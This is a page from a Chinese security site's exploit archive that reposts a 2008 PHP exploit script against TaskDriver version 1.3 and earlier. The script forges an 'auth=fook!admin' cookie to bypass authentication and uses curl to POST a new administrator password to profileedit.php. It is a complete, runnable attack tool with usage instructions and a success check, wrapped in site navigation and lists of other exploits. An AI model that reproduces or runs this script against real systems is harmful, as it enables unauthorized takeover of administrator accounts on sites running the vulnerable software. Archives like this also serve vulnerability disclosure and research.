首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TaskDriver <= 1.3 Remote Change Admin Password Exploit
来源:www.vfcocus.net 作者:cOndemned 发布时间:2008-12-29  
<?php

/*
$Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $

TaskDriver <= 1.3 Remote Change Admin Password Exploit
Bug found && Exploited by cOndemned

Download:

http://www.taskdriver.com/downtrack/index.php?down=2


Description:

This exploit uses insecure cookie handling flaw in order
to compromisse the system. In the begining its almost like
the one that Silentz wrote for version 1.2 but not exactly.

Actually there is no need to use sql injection for gaining
admin password (hash). We can just set cookie value to :

"auth=fook!admin"

access profileedit.php and change his password for whatever
we want to x]

Next IMO nice thing is that it works both with magic quotes
on and off :P

-------------------------------------------------------------------

Greetz:

ZaBeaTy, Avantura, l5x, str0ke, d2, sid.psycho & TWT, 0in,
doctor, Gynvael Coldwind ...

http://www.youtube.com/watch?v=f7O6ekKOE9g

*/

echo "\n[~] TaskDriver <= 1.3 Remote Change Admin Password Exploit";
echo "\n[~] Bug found && Exploited by cOndemned\n";

if($argc != 3)
{
printf("[!] Usage: php %s <target> <new-password>\n\n", $argv[0]);
exit;
}

list($script, $target, $pass) = $argv;

$xpl = curl_init();

curl_setopt_array($xpl, array
(
CURLOPT_URL => "{$target}/profileedit.php",
CURLOPT_COOKIE => "auth=fook!admin",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => "password={$pass}"
));

$ret = curl_exec($xpl);
curl_close($xpl);

$out = preg_match_all('#<b>Profile Updated<\/b>#', $ret, $tmp) ? "[+] Done. You can login now\n\n" : "[-] Exploitation failed\n\n";

echo $out;

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Flexphplink Pro Arbitrary File
·Ultimate PHP Board <= 2.2.1 (l
·IntelliTamper 2.07/2.08 (Proxy
·CMS NetCat 3.0/3.12 Blind SQL
·SasCam WebCam Server 2.6.5 Act
·Linux Kernel < 2.6.26.4 SCTP K
·Chilkat FTP ActiveX (SaveLastE
·Megacubo 5.0.7 (mega://) Remot
·DeluxeBB <= 1.2 Remote Blind S
·Safari (Webkit) version 3.2 re
·Hex Workshop 5.1.4 (Color Mapp
·Mozilla Firefox version 3.0.5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved